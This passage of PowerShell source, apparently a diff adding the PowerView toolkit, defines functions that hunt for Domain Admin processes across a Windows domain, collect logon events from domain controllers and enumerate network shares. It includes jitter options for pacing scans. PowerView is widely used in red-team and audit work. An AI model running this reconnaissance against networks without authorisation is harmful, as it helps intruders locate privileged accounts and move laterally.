Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Find-DomainProcess { +<# +.SYNOPSIS + +Searches for processes on the domain using WMI, returning processes +that match a particular user specification or process name. + +Thanks to @paulbrandau for the approach idea. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and queries the domain for users of a specified group +(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the +function enumerates any current processes running with Get-WMIProcess, +searching for processes running under any target user contexts or with the +specified -ProcessName. If -Credential is passed, it is passed through to +the underlying WMI commands used to enumerate the remote machines. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER Domain + +Specifies the domain to query for computers AND users, defaults to the current domain. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerUnconstrained + +Switch. Search computer objects that have unconstrained delegation. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER ProcessName + +Search for processes with one or more specific names. + +.PARAMETER UserIdentity + +Specifies one or more user identities to search for. + +.PARAMETER UserDomain + +Specifies the domain to query for users to search for, defaults to the current domain. + +.PARAMETER UserLDAPFilter + +Specifies an LDAP query string that is used to search for target users. + +.PARAMETER UserSearchBase + +Specifies the LDAP source to search through for target users. +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER UserGroupIdentity + +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +.PARAMETER UserAdminCount + +Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER StopOnSuccess + +Switch. Stop hunting after finding after finding a target user. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainProcess + +Searches for processes run by 'Domain Admins' by enumerating every computer in the domain. + +.EXAMPLE + +Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local + +Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by +privileged users in dev.testlab.local. + +.EXAMPLE + +Find-DomainProcess -ProcessName putty.exe + +Searchings for instances of putty.exe running on the current domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainProcess -Domain testlab.local -Credential $Cred + +Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials. + +.OUTPUTS + +PowerView.UserProcess +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerView.UserProcess')] + [CmdletBinding(DefaultParameterSetName = 'None')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [Alias('Unconstrained')] + [Switch] + $ComputerUnconstrained, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Parameter(ParameterSetName = 'TargetProcess')] + [ValidateNotNullOrEmpty()] + [String[]] + $ProcessName, + + [Parameter(ParameterSetName = 'TargetUser')] + [Parameter(ParameterSetName = 'UserIdentity')] + [ValidateNotNullOrEmpty()] + [String[]] + $UserIdentity, + + [Parameter(ParameterSetName = 'TargetUser')] + [ValidateNotNullOrEmpty()] + [String] + $UserDomain, + + [Parameter(ParameterSetName = 'TargetUser')] + [ValidateNotNullOrEmpty()] + [String] + $UserLDAPFilter, + + [Parameter(ParameterSetName = 'TargetUser')] + [ValidateNotNullOrEmpty()] + [String] + $UserSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('GroupName', 'Group')] + [String[]] + $UserGroupIdentity = 'Domain Admins', + + [Parameter(ParameterSetName = 'TargetUser')] + [Alias('AdminCount')] + [Switch] + $UserAdminCount, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $StopOnSuccess, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + $UserSearcherArguments = @{ + 'Properties' = 'samaccountname' + } + if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } + if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + + # first, build the set of computers to enumerate + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-DomainProcess] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainProcess] No hosts found to enumerate' + } + + # now build the user target set + if ($PSBoundParameters['ProcessName']) { + $TargetProcessName = @() + ForEach ($T in $ProcessName) { + $TargetProcessName += $T.Split(',') + } + if ($TargetProcessName -isnot [System.Array]) { + $TargetProcessName = [String[]] @($TargetProcessName) + } + } + elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { + $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname + } + else { + $GroupSearcherArguments = @{ + 'Identity' = $UserGroupIdentity + 'Recurse' = $True + } + if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } + $GroupSearcherArguments + $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $ProcessName, $TargetUsers, $Credential) + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # try to enumerate all active processes on the remote host + # and search for a specific process name + if ($Credential) { + $Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue + } + else { + $Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue + } + ForEach ($Process in $Processes) { + # if we're hunting for a process name or comma-separated names + if ($ProcessName) { + if ($ProcessName -Contains $Process.ProcessName) { + $Process + } + } + # if the session user is in the target list, display some output + elseif ($TargetUsers -Contains $Process.User) { + $Process + } + } + } + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential + $Result + + if ($Result -and $StopOnSuccess) { + Write-Verbose "[Find-DomainProcess] Target user found, returning early" + return + } + } + } + else { + Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'ProcessName' = $TargetProcessName + 'TargetUsers' = $TargetUsers + 'Credential' = $Credential + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } +} + + +function Find-DomainUserEvent { +<# +.SYNOPSIS + +Finds logon events on the current (or remote domain) for the specified users. + +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction + +.DESCRIPTION + +Enumerates all domain controllers from the specified -Domain +(default of the local domain) using Get-DomainController, enumerates +the logon events for each using Get-DomainUserEvent, and filters +the results based on the targeting criteria. + +.PARAMETER ComputerName + +Specifies an explicit computer name to retrieve events from. + +.PARAMETER Domain + +Specifies a domain to query for domain controllers to enumerate. +Defaults to the current domain. + +.PARAMETER Filter + +A hashtable of PowerView.LogonEvent properties to filter for. +The 'op|operator|operation' clause can have '&', '|', 'and', or 'or', +and is 'or' by default, meaning at least one clause matches instead of all. +See the exaples for usage. + +.PARAMETER StartTime + +The [DateTime] object representing the start of when to collect events. +Default of [DateTime]::Now.AddDays(-1). + +.PARAMETER EndTime + +The [DateTime] object representing the end of when to collect events. +Default of [DateTime]::Now. + +.PARAMETER MaxEvents + +The maximum number of events (per host) to retrieve. Default of 5000. + +.PARAMETER UserIdentity + +Specifies one or more user identities to search for. + +.PARAMETER UserDomain + +Specifies the domain to query for users to search for, defaults to the current domain. + +.PARAMETER UserLDAPFilter + +Specifies an LDAP query string that is used to search for target users. + +.PARAMETER UserSearchBase + +Specifies the LDAP source to search through for target users. +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER UserGroupIdentity + +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +.PARAMETER UserAdminCount + +Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target computer(s). + +.PARAMETER StopOnSuccess + +Switch. Stop hunting after finding after finding a target user. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainUserEvent + +Search for any user events matching domain admins on every DC in the current domain. + +.EXAMPLE + +$cred = Get-Credential dev\administrator +Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john' + +Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local' +domain controller using the alternate credential + +.EXAMPLE + +'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'} + +Find user events on the primary.testlab.local system where the event matches +the IPAddress '192.168.52.200' or '192.168.52.201'. + +.EXAMPLE + +$cred = Get-Credential testlab\administrator +Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'} + +Find user events mathing the specified GUID AND the specified TargetLogonId, searching +through every domain controller in the current domain, enumerating each DC in serial +instead of in a threaded manner, using the alternate credential. + +.OUTPUTS + +PowerView.LogonEvent + +PowerView.ExplicitCredentialLogon + +.LINK + +http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerView.LogonEvent')] + [OutputType('PowerView.ExplicitCredentialLogon')] + [CmdletBinding(DefaultParameterSetName = 'Domain')] + Param( + [Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('dnshostname', 'HostName', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName, + + [Parameter(ParameterSetName = 'Domain')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Hashtable] + $Filter, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [DateTime] + $StartTime = [DateTime]::Now.AddDays(-1), + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [DateTime] + $EndTime = [DateTime]::Now, + + [ValidateRange(1, 1000000)] + [Int] + $MaxEvents = 5000, + + [ValidateNotNullOrEmpty()] + [String[]] + $UserIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $UserDomain, + + [ValidateNotNullOrEmpty()] + [String] + $UserLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $UserSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('GroupName', 'Group')] + [String[]] + $UserGroupIdentity = 'Domain Admins', + + [Alias('AdminCount')] + [Switch] + $UserAdminCount, + + [Switch] + $CheckAccess, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $StopOnSuccess, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $UserSearcherArguments = @{ + 'Properties' = 'samaccountname' + } + if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } + if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } + if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) { + $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname + } + elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) { + # otherwise we're querying a specific group + $GroupSearcherArguments = @{ + 'Identity' = $UserGroupIdentity + 'Recurse' = $True + } + Write-Verbose "UserGroupIdentity: $UserGroupIdentity" + if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } + $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName + } + + # build the set of computers to enumerate + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + # if not -ComputerName is passed, query the current (or target) domain for domain controllers + $DCSearcherArguments = @{ + 'LDAP' = $True + } + if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } + Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain" + $TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname + } + if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) { + $TargetComputers = @(,$TargetComputers) + } + Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)" + Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainUserEvent] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential) + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + $DomainUserEventArgs = @{ + 'ComputerName' = $TargetComputer + } + if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime } + if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime } + if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents } + if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential } + if ($Filter -or $TargetUsers) { + if ($TargetUsers) { + Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName} + } + else { + $Operator = 'or' + $Filter.Keys | ForEach-Object { + if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) { + if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) { + $Operator = 'and' + } + } + } + $Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')} + Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object { + if ($Operator -eq 'or') { + ForEach ($Key in $Keys) { + if ($_."$Key" -match $Filter[$Key]) { + $_ + } + } + } + else { + # and all clauses + ForEach ($Key in $Keys) { + if ($_."$Key" -notmatch $Filter[$Key]) { + break + } + $_ + } + } + } + } + } + else { + Get-DomainUserEvent @DomainUserEventArgs + } + } + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential + $Result + + if ($Result -and $StopOnSuccess) { + Write-Verbose "[Find-DomainUserEvent] Target user found, returning early" + return + } + } + } + else { + Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'StartTime' = $StartTime + 'EndTime' = $EndTime + 'MaxEvents' = $MaxEvents + 'TargetUsers' = $TargetUsers + 'Filter' = $Filter + 'Credential' = $Credential + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } +} + + +function Find-DomainShare { +<# +.SYNOPSIS + +Searches for computer shares on the domain. If -CheckShareAccess is passed, +then only shares the current user has read access to are returned. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the available shares for each +machine with Get-NetShare. If -CheckShareAccess is passed, then +[IO.Directory]::GetFiles() is used to check if the current user has read +access to the given share. If -Credential is passed, then +Invoke-UserImpersonation is used to impersonate the specified user before +enumeration, reverting after with Invoke-RevertToSelf. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER CheckShareAccess + +Switch. Only display found shares that the local user has access to. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainShare + +Find all domain shares in the current domain. + +.EXAMPLE + +Find-DomainShare -CheckShareAccess + +Find all domain shares in the current domain that the current user has +read access to. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainShare -Domain testlab.local -Credential $Cred + +Searches for domain shares in the testlab.local domain using the specified alternate credentials. + +.OUTPUTS + +PowerView.ShareInfo +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ShareInfo')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [Alias('Domain')] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + 